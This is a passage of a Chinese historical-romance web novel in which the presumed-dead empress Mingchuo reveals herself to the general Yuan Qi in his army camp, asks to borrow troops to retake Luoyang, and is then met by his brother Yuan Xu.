“大燕的新帝仍在长安,在洛阳领兵的是萧皇后的人。袁煦已派使臣去劝降石简……”
萧盈突然掀起眼皮,冷冷地
问了一句:“既是萧皇后的人,宣平门祸起的时候,他为何会在洛阳?”
袁增一愣,答不上来。萧盈便冷笑了一声,转向了桓廊,语气重了两分:“那些兀鲁蛮子打量朕是傻子吗?”
桓廊马上伏地:“陛下息怒!”
其实萧盈也不是冲他,只是大雍出兵之后,长安那边派来的使臣到鸿胪寺,是桓廊接见的。使臣那些混账话也都是桓廊来转达,所以萧盈难免冲着他去了。
他们说,萧皇后野心日炽,与大燕天子不和已久,策划了宣平门兵变,幸得段太后与大司马乙满及时镇压,萧皇后兵败,已服毒自尽。临终前痛悔不已,留下了这枚发钗,请大雍天子看在新帝是他外甥的份上,不要为难。
可是萧盈不信。他非常清楚萧皇后在洛阳都做了什么,那里是她权力的中心所在。就算她真的有这个心,也不会在他们即将要回到洛阳的时候,在长安的宣平门动手。
大燕那边自是不想把宣平门之祸到处宣扬,但是这些年里燕雍两国互通有无,往来频繁,消息根本压不住。在新帝登基的国书抵达建康之前,大雍朝廷就已经听说了此事。
当时萧盈并没有太明显的反应,尚算平静地召来了好几个从大燕回来的人,不论有没有官身,都上了太极殿面君,详述宣平门之祸的经过——那些消息也是真假掺半,各种说法都有,不乏互相矛盾之处。唯独这件事的结果,每一个人都言之凿凿。
萧皇后死了。服毒自尽,殉了先帝。
当天夜里,含清宫传出来消息,陛下犯了旧疾,呕血不止。次日便停了朝会,但还是召袁氏父子三人进宫。看陛下的意思,这次不止是要趁燕主年幼去占个便宜,而是要不惜一切代价攻破长安了。
朝中无人相劝,甚至还都有些跃跃欲试。近三十年,大雍以休养生息为国策,兵强马壮,国库丰盈,早就有不少人认为西征的时机已经成熟。建康帮着乌兰徵扫清北方,和这帮兀鲁蛮子虚与委蛇了这么多年,也到了采摘这枚果实的时候了。
萧盈把手里的发钗掉了个头,仍在把玩,一边问:“石简此人如何?”
袁增斟酌了一下:“反复无常。”
萧盈冷笑:“告诉伯彦,石简若肯里应外合,为萧皇后报仇,朕封他万户侯。”
“臣遵旨。”
萧盈便再没了话,抬起手,仍是有气无力地,示意他们都下去。自从知道了萧皇后的死讯,他这病就没好起来了。这些年宫里也不知道请过多少大夫,但他的身体还是时好时坏。虽然不会次次都到心痛这么严重,但三不五时地就没什么力气。当年卞弘那个“活不过四十”的判语也渐渐地没再藏得住,好像所有人都知道此事,但又没有人敢提。
但和年少时不同,当年的病弱让萧盈被很多人轻视,如今却让很多人都怕他。天子之威已经不再需要申斥的怒火或是示弱的眼泪来确立,一个眼神就够了——萧盈现在修身养性,根本也没那么多外放的情绪,这种不可知,反而更加成了威不可测。
他摆了摆手,三位重臣就都会意,起身告退。消息从建康一路飞驰,经九江,过荆州,先过了袁煦的手,然后再送到了南阳袁綦营中,已成了一道废令。
石简已经拒绝了大雍的策反,不止拒绝,还出兵跟袁綦交过了手,表示他忠于大燕的决心。
阵前喊话,袁綦仍不死心,以萧皇后的恩情规劝石简。但石简只说,大燕新帝是萧皇后的骨肉,他效忠新帝,也是报恩。
袁綦因此颇有愤懑之意。长安那边对先皇后多有诋毁之词,连“皇后”这个封号也褫夺了。这都是新帝下的旨。虽然袁綦也清楚,新帝才九岁,多半不是他的本意,却还是忍不住迁怒。石简不诡辩还好,这样一说,袁綦更气了。
他知道,朝中很多人是本就对长安有野心,萧皇后的死不过是一个借口,只有陛下是真心为了公主而悲痛。袁綦也悲痛,尽管他根本不知道自己有什么立场谈及“悲痛”,他只见过长公主一面。那一年她走到船上,随着船驶进了霞光里,然后再也没有回头。但知道长公主死讯的那个晚上,他还是一夜流尽了十三岁以来所有的泪。
还好陛下也是真心的悲痛。袁綦的悲痛被包裹在了忠心里,流泪与愤怒都变得理所应当。与石简那场小打小闹的交手之后,袁綦把战线从南阳继续往北推,直捅进大燕国土,又与石简几次交手。然后就在此时,他收到了兄长传信,命他后撤。
他们要顺着汉水,过武关,绕过洛阳,直进长安。
大燕这些年的战略就是扎根在洛阳,虽然之前两年帝后都在长安,但是这么庞大的军队没有必要跟着移动,所以直到今日,洛阳的军备还是远胜长安。
只是,长安那边登基的确实是先帝和先皇后的亲儿子,他们又给先皇后冠上了这样的罪名,洛阳无论做什么,都是师出无名。更何况,先皇后已经身死,效忠于她的肱股之臣眼下都在长安,洛阳这边群龙无首,也无法轻举妄动。只是两边关系微妙,僵持不下。
袁煦认为,如果非要攻洛阳,不仅难度很大,而且会让原本微妙僵持着的两方团结起来,共御外敌。走武关那条路虽然很绕,但是打长安要相对简单一点。洛阳毕竟是汉家天下,若是长安都丢了,他们也未必会继续忠于西海人皇帝,届时或可兵不血刃拿下整个大燕。此为上策。
如今兄长是主帅,他有军令,袁綦不得不从。但他私心里恨上了石简,撤军撤得不情不愿。听令回到南阳驻军,等候调遣的时候,也整天都拉着张脸,像一团乌云飘荡在了军营上空,笼罩得所有人胆战心惊。副将王藻想讨好他,安排了歌舞,说是给少将军“解解乏”,结果袁綦一下子翻了脸,把他臭骂了一顿。
这王藻本是袁煦身边的人,这军中歌舞,袁煦向来是很喜欢的。没想到袁綦性子不一样,王藻一个马屁拍到了马蹄上,灰头土脸地告退,刚要走出去,又被袁綦冷着脸叫了回来,问他哪里找来的女人。
王藻让他训得脸皮发臊,支支吾吾的,只说是流民。于是袁綦就明白了,仗一打起来,地方上就乱了。老百姓都要逃难,遇到当兵的,难免就要被掳到军中,青壮年要做苦力,女的就不好说了。
有的时候也不完全是被迫。袁军就是荆州起的家,在这一带向来名声不错,从不苛待民兵和苦役。大雍家底厚,军中也拿得出粮食,老百姓流离失所,没饭吃了,自己也愿意来干点儿活。这个事情,袁綦是知道的。
但是王藻提这个话呢,显然不是为了让少将军“解乏”,是他们底下的人见军中有了女人,想“松快松快”了。
袁綦没说什么。这种事情在
军中太常见了,他的父兄从来不管,他看不惯,自己别去就是了,没有拘着人的道理。所以他只是冷着脸不说话。
王藻觑他的脸色,陪着小心多说了一句:“不是大雍的百姓,是谒县那边逃过来的……”
谒县已经是大燕的国土了。袁綦别开脸,摆了摆手。王藻立刻“嘿嘿”一笑,又道:“少将军,这里头还有个美人呢……那可当真是!啧!”他形容不出来,只能把大拇哥一竖,表示确实是很美的女人,“她一心想来服侍少将军,那模样吧是真好,就是嫁过人了……”
袁綦皱起眉:“你怎知她嫁过人?”
“看着年纪也不像没嫁过的。她自己说,她男人死了。”王藻摸了摸鼻子,“少将军要是嫌晦气……”
“她可有孩子?”
“看……看不太出来。”王藻回忆了一下,“那身段……”
袁綦皱起眉:“谁问你这个!”
他是想知道,那女子是不是还带着孩子。流民中不乏这样的寡妇,为了给孩子挣一口饭,只能行此下策。别的袁綦可以不管,但这样的太可怜了,他看不下去。
王藻又臊眉耷眼地摇了摇头:“没看见身边有孩子,就她一个人。”
袁綦眉头皱得更紧,上上下下地扫了他两眼。走投无路的女子向将士们献身是常有的,但上来就点着一营主将献身的民女也确实是少见,胆子太大了。想来那女子确实貌美,底下的将士们不敢轻易动,一层层地往上献媚,而王藻猥琐,那女子便主动说要服侍少将军。如此一来,王藻不来问过袁綦,是不敢轻举妄动的。
倒是也很聪明。
“让她来吧。”袁綦理了理袖子,低头说了一句。王藻一愣,脸上一时复杂非常。都说少将军好洁,德行又高,用袁煦的话说,他这个弟弟有点儿“迂”。看方才的意思,王藻还以为这美人儿必是归他了,所以一时有些失望。但一想到袁綦原来也不过是凡夫俗子,又忍不住偷笑,应了一声,退下的时候还一迭声让人给少将军准备沐浴。
袁綦看他退下的神色就知道他脑子里又在想什么,但也懒得解释什么。属下打了水来,他就自己卸甲脱衣。不多时,帐外就又传来了王藻的声音,交代着“好好伺候”等语,然后便是帘帐被掀开的声音,脚步声传了进来。屏风上映出了一个女子的身影,袁綦已经进了浴桶,转头看了一眼,果然身段窈窕,
袁綦移开了眼睛,在屏风后面支使她:“再加一桶水来。”
那女子没动,似是吓住了。袁綦想了想,很体贴地放低了声音:“夫人别怕,我知道你没了丈夫,无依无靠,才不得不行此下策。放心吧,我不是趁人之危的人。”
还是没人说话,良久,那女子轻轻地笑了一声。声音倒是很好听,像是庙里檐下挂的风铃被轻轻拂动。然后她开了口,一点儿没有被吓到的样子。
“少将军果然是君子。”
袁綦一愣,倒不是这个说话的声音有多么熟悉,而是这个口音……怎么像是建康人士?不是说是谒县逃过来的吗?
“夫人的口音好熟悉,”袁綦隔着屏风问她,“家乡在哪里?”
“妾是建康人。”那女子含着笑意,似是知道他在想什么,“十三年前远嫁至此……”
“嫁得这么远啊?”袁綦不由感慨,“家里人也舍得?”
“是啊,不舍得。”那女子叹了一声,“所以我家里人托了少将军千里相送……”
只听“哗啦啦”一片水声,袁綦整个人从浴桶里站了起来,从屏风上方露出了一颗震惊的脑袋,看到了立在帐中的人。那女子一身寻常妇人的打扮,头上只有一根木钗,但是风华不减。与十三年前黄河边的少女比起来,美得近乎惊心动魄。
明绰看着他,视线从他瞪大的眼睛,张大的嘴巴,一路划到他还滴着水的脖子,还有从屏风上露出来的半截肩膀——他不是记忆里那个孩子了。明绰想到了这一点,但真的见到成年男人宽阔的肩膀,还是觉得有点儿冲击。
“少将军,”明绰不动声色地移开了眼睛,嘴角勾起了一个浅淡的笑意,“还要水吗?”
第116章
那一瞬间,袁綦的浑身上下好像都有了分别的主意,他的背弓起来,想把自己藏到屏风后,脚却往外抬,想赶紧从浴桶里出去——后果就是带翻了整个桶,他摔到了地上,水哗啦啦地漫了一地,从屏风下面淌过去,直漫到了明绰脚边。
明绰实在没预料到这动静,下意识地往后退了一步:“少将军?”
“没事!没事!我我我……我没事!”袁綦猛地从地上蹿起来,手忙脚乱地从屏风上面拽了自己的衣服往身上穿,也不知道该先拽裤子还是还该先套衣服,身上还是潮的,贴身衣服轻薄,沾水就全贴着皮肉,反而不好穿。
明绰看着屏风后手忙脚乱成了一团,抿了抿唇,憋住了笑意:“我来伺候少将军……”
“别别别!”袁綦几乎是喊出来了,勉强把裤子拽好了,一眼瞥见披风就在架子上,直接拿下来往身上一罩,就赶紧从屏风后绕了出来,“长公主……”
明绰看着他,眉毛轻轻地一扬,等着他继续往下说。可袁綦又不说了,两只手都拽着披风,领口紧得恨不得把自己勒死。站在明绰面前,也不敢行礼,又直又愣,活像根柱子。他比十三岁的时候要高了很多,明绰现在得仰头看他。所以她自然地抬着头,好好地打量了一番他的脸。
袁家两个兄弟都是好相貌,袁綦也不输给兄长什么,但是没袁煦那么英气。他更像母亲,眉眼和脸颊都柔和圆润,鼻尖和眼角各有一枚小痣,看起来极为娟秀文气。
九年前明绰在长安见袁煦的时候,袁家大郎也不过二十出头的年纪,但已经练得宽肩厚背,一派武将的雄壮。明绰下意识扫了一眼帐中,也只有普通的刀剑,想来是袁綦没跟他兄长一样练那百八十斤重的偃月刀,所以还算是精瘦,打眼一看,还像个十几来岁的少年人。
若不是明绰小时候就见过他守在温泉宫门口一人一枪挑得尸横满地,可能怎么都不相信这就是战功赫赫的袁二将军。
明绰这么盯着他看,袁綦的脸马上就比那披风的颜色还要红,耳朵尖都快滴出血了,低下头,窘迫不堪地又唤了她一声:“长公主。”
明绰只好“嗯”了一声,表示她听见了,有话就说。
袁綦脸上那红慢慢褪下,又从眼底升了起来:“你……你还活着……?”
明绰又笑了,觉得这袁二郎倒是出乎意料地可爱:“我还魂人间,你见了倒是也不怕?”
袁綦意识到自己说了傻话,赶紧请她坐,但是手一松,披风就直往下掉,他手忙脚乱地重新拽好,几乎语无伦次:“我……呃,臣,不……末,末将……请长公主稍坐,容末将穿……不是,更衣。”
他的脸又红了,不等明绰说什么,自己先懊恼得无地自容。明绰点了点头,看着他马上跑回了屏风后,窸窸窣窣地折腾了一会儿,才总算把衣服都穿好了。他以为明绰看不见,其实身影映在屏风上清清楚楚,明绰看着他连做了三个深呼吸,似是下定了某种决心,这才走了出来。
明绰已经在主帅的位置上坐好了,袁綦先是微微一怔,他还没见过谁坐他那个位置。但马上觉得也没什么问题,朝她行了个礼:“末将见过长公主。”
明绰随意地抬了抬手,示意他起来,一边道:“你不要告诉别人我的身份。”
袁綦一愣:“啊?”
明绰抬起头看了他一眼,袁綦让他看得背上一层汗毛马上竖了起来,突然意识到了什么。
他不知道长
公主是怎么活下来的,但她是跟着谒县的流民逃亡,撞到了大雍的军队,才被掳走的。那这一路上,会不会有不长眼的对她……就算没有,以他们军中对流民女子一贯的“做派”,若是让人知道这个随流民而来的人就是长公主,也定会有人胡乱编排。
袁綦微微变了色,低头沉声道;“末将明白了。”
看来这些事情确实是他默许的。明绰本想克制,但到底没忍住发出了一声冷笑:“大雍还是太富贵了,军中也不忘享乐。从前大燕天子帐下,是绝不敢掳掠民女的。”
当年皇后随军,只是有人去皇后的女使帐外偷看了两眼,就被乌兰徵砍了脑袋。西海人攻城掠地,烧杀掳夺都已经是旧事了,到了乌兰徵手里,只要他不发话,大军就连百姓一棵苗都不敢乱踩。
袁綦听出了明绰言外之意,马上跪了下去:“是末将治军不严,请长公主责罚!”
“我能罚你什么?”明绰笑了笑,起身过来扶他,一边道,“作为皇后,我是大燕的皇后,你是大雍的将,我管不了你。作为公主,我已去国离乡一十三载,更没有这个资格了……”
她一句话说完,已走到了袁綦面前,伸手把他扶了起来。
“少将军起来吧,今日是我有求于你,哪里还敢要将军跪我?”
“末将不敢,但凭长公主吩咐。”
明绰的手还托在他肘下没有松开,目光灼灼地看定了他的眼睛:“我来找少将军,借兵一用。”
—
她没有死,虽然喝下水囊里那些酒的时候,她也以为,这一次必死无疑。
明绰已经想不起来那一天晚上是多久以前的事情了,有的时候她觉得已经过去了好几个月,有的时候却感觉分明就在昨日。但大雍的军队都已经开到了洛阳附近,那至少已经有四个……五个月了吧。她真的分不清。当这个世界上只剩下自己一个人的时候,时间的流逝会失去意义,天气的冷热,昼夜的长段,日月的交替,全都只有模糊的一片。乌兰徵的离去变成了一个物理意义上体积巨大的空洞,把时间从她身边抽离。
她只记得那天晚上她骑在马上,拼命地跑。到天亮的时候,她已经过了潼关,再跑半日,就是风陵渡口,她当年嫁来的地方。她抛下了马,盘桓了好几日才找到船家送她渡河。段知妘给她指出了一条路,很好,她只要照做就好了,不需要多思考。思考,就意味着她必须去面对乌兰徵死了这件事。她在大雍的边境小城被查了文牒,她便告诉那小吏,她是大雍的东乡公主,请他们上报去建康,让陛下派人来给她收尸。
没有人信她。她被当成了流离失所的疯女人,被驱赶到了城外,和真正的乞儿、流民呆在一起,等待毒发。甚至没有人来敢来碰她,生怕她说的那什么“毒”,会把别人都害死。
那时她觉得也好,有没有人给她收尸,到底有什么要紧?她只想马上去见乌兰徵。她终于有时间慢慢地体会失去他的痛苦了,这和失去母后、失去芸姑的痛都不一样。她本以为她已经知道如何处理这种剧痛了,事实是她没有。学不会,无法习惯,痛到她甚至开始恨段知妘,不是恨她做了这一切,而是恨她为什么要给这么慢的毒……
然后她突然意识到,确实,太慢了。早已过了七天。
她的眩晕来自饥饿,她的疼痛来自颠簸,都不是毒发的迹象。明绰拿身上最后一点首饰换来了食物和一个简陋的栖身之地。然后她吃饭,休息,日复一日,攒起了力气,直到终于确定,那酒里根本没有毒。
段知妘放过了她,但也最后一次算计了她。明绰根本不想去想段知妘为什么肯放过她,满心里只有恨。她逼迫她当着晔儿的面走了,她竟然逼迫她,再一次抛弃了她的孩子。
那一天,明绰离开了她短暂栖身的农舍,拜别了好心收留了她的一家人,从大雍境内绕道,开始往洛阳走。她孤身一个女子,没有傍身的盘缠,没有通行的的文牒,更没有护卫的人,走了好几个月,都没能走出大雍的边境。
她很快就放弃了对边境守将或是郡县小吏宣称自己是大雍公主的行为,那只会让人再次把她当成疯子,或者更糟——把她当成大逆不道的罪人。
这一路,唯一支撑她的,只有那种立刻去陪乌兰徵一起死的痛苦。那痛苦化为了怒火,然后又凝成一块冷硬的石头,明绰日日夜夜地用仇恨磨自己心里那把剑,每磨一下,就在心里念一遍复仇的决心。
她会回到洛阳,她会拢兵反扑,她会……杀了段知妘。
她就这样等啊,等。直到有一个准备去洛阳的行商经过,发了善心,肯冒风险带她上路。但他们才刚走到谒县,战事就来了。那行商抛下了她,任由她和流民被军队一起掳走。她不知道这都是谁的兵,但她认出了大雍将士的服制。那些谒县的人告诉她,这是袁将军的兵马,不是坏事,他们那里有饭吃的。
原来是袁綦来了。
其实刚开始听说“袁将军”的时候,明绰私心里希望是袁煦。她和袁煦还算得上有几分“故人之谊”,能说得上话。发现这里的主将是袁綦,她还有些失望来着。但此刻袁綦看着她,眉头紧皱,眼里的心疼那样真切,让明绰心里莫名一动。本来没想哭的,一滴眼泪也不知道怎么了,就这样毫无预兆地坠了下来。
袁綦被她这一滴泪突然惊醒,赶紧别开头掩饰住了情绪,稍作平复才转回来,轻声开口:“你……咳,”他意识到自己的嗓音不对,只好清了清,“长公主受苦了。”
又是一滴眼泪。明绰释出了一声又像笑又像哭的声音,一时没有说得出话。她其实没有觉得苦,那个决心太大了,占据了她的全部心神,她没有时间来可怜自己。
但袁綦说了这几个字,她便也忍不住升起了一股酸楚。是啊,她真可怜。一个死了丈夫,无依无靠地走在天地间的女人。
“长公主放心,”袁綦觉得自己整颗心都要被她两滴眼泪砸碎了,一时忘了情,没忍住伸出手握住了她的,“末将一定会护你周全,送你回建康……”
明绰突然把手抽了回来,轻轻歪了歪头:“回建康?”
她什么时候说过她要回建康?
“我是来请少将军借兵的。”明绰又说了一遍,“我夫君枉死,儿子还落在别人手里,我如何能回建康?”
可是她的儿子已经是大燕的新帝了。袁綦十分为难地叹了口气:“长公主,石简已经对长安宣誓效忠了。仅凭我手里的人,要攻洛阳……”
“只要石简见到我还活着……”
“长公主不可信他!”袁綦打断她,很是愤懑不平的语气,“此人反复无常,是个最没骨气的!若你贸然现身,他必会把你献至长安,又送回段氏手中!”
明绰一下子皱了眉。袁綦言语之中对她的保护之意甚浓,浓到让她本能感觉到不适。萧皇后大权在握将近十年,她说出来的话就是命令,很少有人会这样把她当成一个无能为力、只能被保护的对象。就连乌兰徵也不会。
袁綦会情真意切地疼惜她的遭遇,固然令明绰心中触动,但他似乎完全不信任明绰对石简的判断,又让明绰有些恼火。
袁綦察觉到了她的不满,赶紧噤了声。他反应得倒是挺快,明绰看了他两眼,心中又稍稍平复了几分。
“少将军,”明绰放缓语调,拿出了跟晔儿说话的耐心,“石简跟了我九年,长安早已视他如眼中之钉,肉中之刺。你当他宣誓效忠长安,是为了自己的荣华富贵吗?他根本是自绝前程。若当真是个反复无常的小人,你兄长派人策反的时候,他就已经投向大雍了。他不肯背叛长安,是不肯背叛我的儿子,正说明他是个忠义之人。”
她有理有据,袁綦一时无话可答,只好沉默下来。
其实再进洛阳正是袁綦求之不得的事情,袁煦就是知道他的性子,特意下了明令,不许他意气用事。
但现在已经不是他怎么想的问题。
陛下已有了破燕之心,所以兄长才定下了直取长安之策,要是石简真的如长公主所说,那兵不血刃拿下洛阳自然是好事,问题是,到时候长公主会愿意他们去打她的儿子吗?又或者,长公主看错了石简,到时候他这里的兵力被石简虚耗殆尽,坏了兄长的大计,无功而返,陛下那里怎么交代?回去见到父亲,怎么交代?
——可是话又说回来了,陛下的破燕之心也是因为长公主的死讯,要是他知道长公主还活着,那还打不打了?要是两国战事本可避免,他却借了兵去攻洛阳,还把本可以接回建康的长公主搭进去了,那不更没法交代了?
袁綦盘算来盘算去,感觉自己根本做不了这个主。前两年闯下的祸事太多了,好几次差点让袁增亲手拿鞭子抽死,才终于教会了袁綦做事之前动动脑子。可是长公主又这么看着他,袁綦这脑子动了也是白动,根本开不了口拒绝。
明绰见他不说话,主动退了一步:“我知军法如山,不为难少将军。请少将军派一队人,送我回洛阳就好。后面的事情不必少将军操心,我自会……”
“不可!”袁綦想都没想就提高了声音,看到明绰的眼神一下子又恼火起来,只能硬着头皮拖延,“长公主要不先休息吧,此事……此事容我再想想!”
明绰还想开口,袁綦已经逃也似的往外跑,一迭声地喊王藻。喊了好一会儿,王藻也没来,不知道上哪儿快活去了。袁綦怕长公主追出来,赶紧扬着声音又唤人,把传讯的斥候召来了。
袁綦压低声音,语速飞快:“马上去汉水大营,告诉兄长……”
他顿了顿,又想起了长公主的交代,一时噎了一下。那斥候还等着听他口信:“少将军?”
话音在袁綦舌尖一转,转眼就换了个说法:“你就跟兄长说,十三年前
,风陵渡口那位故人安然无恙,就在此处。请兄长速速拿个主意。”
斥候眨了眨眼:“啊?”
“啊什么!”袁綦恨不得一脚把他踹上马,“还不快去!”
那斥候领了命,忙不迭地去寻了马,取了令箭,一溜烟地跑出了大营。
袁綦站在营中,看着一人一马飞快地跑远了,踌躇了半晌,在心里翻来覆去地倒了两篇话,才敢往自己的主将营帐里走,走到帐前,又突然想起了什么,招了招手,让帐前守着的亲卫过来。
“王藻呢?”袁綦压着舌尖的火气,问得有点儿咬牙切齿。
亲卫觑着他的脸色,支支吾吾的,也不说明白。不过神色很有些暧昧,那意思就是“将军你懂的,这话不好说出来”。
袁綦感觉眉间直跳,伸手用力地捏了一把:“擅离职守,目无军纪。去把他找出来,打五十军棍!”
亲卫愣了一下才意识到将军没跟他闹着玩儿,马上肃容应道:“是!”
袁綦拍了拍他的肩膀,本来要走了,想了想,折回来又下了一道令。
“明日就把收置的那些流民都给郡守送去,他要是缺人手,就从营中调人,让他把这些百姓都妥善安置了。从此以后,军中再敢有劫掠民女,狎妓逼娼等事,一律军法处置!”
第117章
七日后,袁煦亲自到了。
那时明绰正在“寡妇营”里帮忙——她不同意袁綦把所有流民丢给郡守处理的做法,这些百姓愿意留在军营里本来就是因为吃不上饭了,丢给郡守就能得到更妥善的安置吗?她觉得袁綦未免太幼稚了。尤其是这些孤儿寡母,他们能有什么生路?明绰的话说得不重,但是袁綦头都抬不起来了,最后全听她的,在大营南边一块临水的地方再扩一个营出来,专门用来安置女人孩子,立了军令,不许任何将士来相扰。
寡妇营里的女人们白天也要去干活,给将士们浆洗、整理、做饭,力气大的,还能和男人们一起去挖战壕,建城防。孩子们就在营地里满地跑,也不拘是谁家的孩子,谁今日不去干活,谁就帮着一起管。
明绰喜欢呆在这儿。当年乌兰徵刚刚攻下洛阳城,萧皇后就做过组织安顿流民的事情,他们真正需要什么,遇到的是什么困难,她都有数,由她去跟袁綦说,样样来得都快。所以寡妇营里的女人们也都喜欢她,这也没几天,若是有什么分配不均的矛盾、孩子打架的口角,都喜欢找她来断。明绰就干脆也住在了这寡妇营里。
那天,她正哄着六娘的小女儿睡觉。
六娘也是个寡妇,但孩子多,身边拉扯着三个,所以脱不开身去营地里干活。别的女人帮忙,给她把将士们的脏衣服从营地里拿来,让她就在寡妇营里洗,也算是干了活,能去领口粮和银钱。她在边上“邦邦邦”地捶打浆洗,那小女儿就窝在明绰怀里,睡得一点儿不受干扰。
六娘看着她抱孩子的姿势,便了然地问了一句:“你孩子多大了?”
明绰先是一愣,随后也不怎么意外地笑起来,回答她:“九岁。”
“儿子还是女儿?”
“儿子。”
“哎哟。”六娘把鼻子一皱,用力地把捶衣棒打下去,“最调皮的时候。”
“他不怎么调皮捣蛋,”明绰替晔儿说话,“我倒希望他活泼些,可他就知道读书,整天心事重重的,都不像个孩子……”
六娘闻言看了她一眼。明绰不太说自己的事情,她们只知道,她家在洛阳,出了变故,跟家里人走散了,所以一直想着要回去找家里人。只是当娘的提到孩子,难免就忍不住了。瞧她通身的模样气度,也不像是普通人家的夫人,无怪乎她的孩子还能读上书。
六娘笑了笑,又道:“那你是个有福气的,他长大了一定有出息。”
明绰的嘴角微微一勾,眼中不自觉地流露出些许落寞之色,嘴里只道:“借姐姐吉言啦。”一边低着头,避开了她的目光,身体轻轻前后晃着,让怀里的孩子睡得更安稳些。
六娘没注意到她神色有异,又问了一句:“就那一个儿子?”
“嗯。”
“瞧你喜欢女孩儿,”六娘跟她开玩笑,“我家丫头送你吧!”
明绰也笑起来:“那我可真抱走了,你可别哭!”
“我有什么好哭的,”六娘仍是笑着,语气平淡,“跟着我也是受苦。”
明绰安抚孩子的手一顿,眼神便有些说不上来的难过。六娘这回看见了,自己也觉得有点尴尬,忙找补了一句:“说笑呢,都是说笑……诶?你喜欢女孩儿,赶紧回去找你男人,再生一个!”
明绰低下头,顿了一会儿才道:“他就是成天念着要女儿呢。”
可是这话,在辉儿走了以后,就再没听乌兰徵提过了。他最后一次说类似的话,是烧晔儿的立太子诏书的时候,他说他们还会有别的孩子,不一定要立这逆子。明绰为了这话生了他好大的气……那两年她一直在生他的气。乌兰徵都没机会去长秋殿里过夜,可能他还是想,但也不敢再提了吧?明绰看着别人家的小女儿,突然想,为什么前些年她没有和乌兰徵再生一个呢?
因为他去漠北打仗了,因为她顾忌着把孩子生在洛阳,就更对不起晔儿。反正这样那样的事情,想得太多了。那个时候她以为他们日子还长呢。
可是回头一算,这十几年里,乌兰徵倒有一半的时间是在外面打仗的。大燕的疆域多么辽阔,他的功业多么前无古人。当年的陈氏,后来的贺阆王,还有兀臧蛮,拔拔真……他们都没伤得了他,他怎么就死在了这样一场玩笑似的兵变里。
明绰因为这个更对他生气了,好像这都是他的错。
“诶……?”六娘手足无措地看着突然落下泪的女人,“这怎么突然……我,我说什么了?”
明绰摇了摇头,突然哭得说不出话来。六娘看了她一会儿,突然明白了什么,放下了捶衣棒,把沾湿的手在裙子上抹了抹,然后走过来,搂住了她的肩膀。明绰转过脸,在她怀中失声痛哭起来。
六娘彻底明白了,就这么搂着她,一边叹气,一边小心地劝慰着:“好歹,还有袁将军,跟了他也是个好归宿……”
寡妇营的女人们都知道,她是去伺候过袁将军的。前两天她来宿在了寡妇营,袁将军还亲自来过。当时她们好些人都嫉妒得不得了,袁将军年轻俊美且不论,最重要的是,营里其他将士们趁人之危,就拿她们这些寡妇取个乐,哪像袁将军这般尊重。
明绰哭笑不得地叹了一声,从她怀中挣出来,抹了抹眼泪:“不是……”
话还没说完,便听见了马蹄声。人数还不少,听起来奔得特别急。六娘一下子变了脸色,下意识地把自己的女儿从明绰手里接了过来,一边扬声喊另外两个孩子。明绰也站了
起来,只片刻间,便看到袁煦领着头,一阵风似的,已经刮进了寡妇营里。
六娘马上带着孩子跪在了地上,留在营里的其他女人也都跑出来,跟着跪了一地。然而袁煦看了也没看她们一眼,马还没完全停下就已经跳了下来,跪倒在了明绰面前:“长公主!末将来迟!”
明绰眉头轻轻一皱,先去看跟在他身后的袁綦。她本来是更想看见袁煦的,但是看袁綦的态度,她就猜袁煦可能更不愿意借兵。而且他来了,也就意味着建康那边很快就会知道她的行踪,她现在就是不想萧盈来掺和一脚。
袁綦已经跟着兄长跪了下来,似是知道长公主肯定要怪他,先心虚地低下了头。
明绰无奈地呼出一口气,弯腰去扶袁煦:“伯彦快起来。”
袁煦直起身来,没掩住眼中的情绪。明绰很少称呼他的表字,几乎带着一种刻意的亲热。但袁煦一时之间还没有察觉出这份刻意,只是难以置信。
袁綦已经跟他解释过到底是怎么回事儿了,可是真的看到明绰就在眼前,袁煦还是好好地看了她一会儿,说不出话,只能转头骂弟弟:“你就把长公主安排在这种地方?!”
“我……”袁綦很有些委屈地起了个头,看到兄长的脸色,又咽了下去,“是我想得不周到。”
“别怪他,是我自己要留在这儿。”明绰回过头,刚要说点儿什么,却见六娘只剩满脸的惊恐。看到她回头,六娘马上伏在地上,朝她磕了个头。
袁煦:“长公主请随我回营。”
明绰有些失落地最后看了六娘和她的孩子们一眼,又朝袁綦道:“这些百姓就有劳少将军费心了。”
袁綦忙低头领命:“是!”
袁煦已经把自己的马牵来,扶着明绰上了马,不多时便回到了主营。王藻挨了军棍还没好全,听见袁煦来了,瘸着腿都要来迎,似是想告上一状,但看到袁煦恭恭敬敬地把那美人儿扶下马,唤了一声“长公主”,便愣在了营前。
大雍没有第二个长公主。
底下的将士把这美人儿献上来的时候他起过色心,甚至想先自己享用一番再去给主将。就是因为当时明绰的态度太从容了,他被她身上的气度震慑住,才去跟袁綦提了一嘴。后来袁綦把他打了一顿,他心里不服,觉得是这美人儿告状,还趁袁綦不在去骚扰过一回。
但是长公主就这样经过他身边,眼神都没有多给一个,反而是袁煦,看着他跪倒在地抖若筛糠的样子就变了脸色。王藻是什么德行,他再清楚不过,当即问也不问,朝身边的人使了个眼色,马上就有人把王藻拖了下去。
明绰听见动静才转回头来,人已站在主将营帐前,呼唤袁煦:“伯彦?”
“来了。”袁煦面不改色地跟上,手背在身后,朝袁綦做了个手势。袁綦脚下顺溜地转了个弯,跟着那两个拖走王藻的人下去了。
明绰还是当做没看见,抬脚进了主将营帐。袁煦跟在她身后,重新放下了门前厚重的毛毡帘子。
袁綦再回来的时候,天已经黑了。袁煦让长公主住在主将营帐里,让弟弟跟着他挤挤。袁綦倒是没意见,但他有个东西想送给长公主,所以又回来了一趟。进门之前仔细检查了一下袖口和衣摆,王藻那厮挣扎得厉害,血溅得到处都是,也不知道有没有弄脏。等到确认身上是干净的,才在帐外唤了一声:“长公主?”
明绰的声音马上响起来,请他进来。但是声音带着鼻音,似是在哭。等袁綦进来,她已经抹干净了脸,就是眼睛还红红的,对着他露出了一个微笑:“这么晚了,少将军何事?”
袁綦看着她一双哭红的眼睛,神色似是不忍,低下了头,什么也没说。
看来兄长也没有借兵。这一点袁綦不意外,兄长自己还没从汉水大营动身,就已经快马加鞭急报建康,等陛下的令。
陛下若是愿意出兵相助长公主,那他们兄弟自然别无二话,洛阳也好长安也好,都是长公主一句话的事情。但长公主不愿意这么做,她只想私下借兵回到洛阳,决不能让人知道。堂而皇之地带着大雍的兵马去打自己的儿子,无论她有多么正当的复仇理由,这件事情都会变成两国之间的征伐。赢也好输也好,从开战那一刻起,她的儿子就不会再认她,大燕的朝臣们也不会再忠于她。
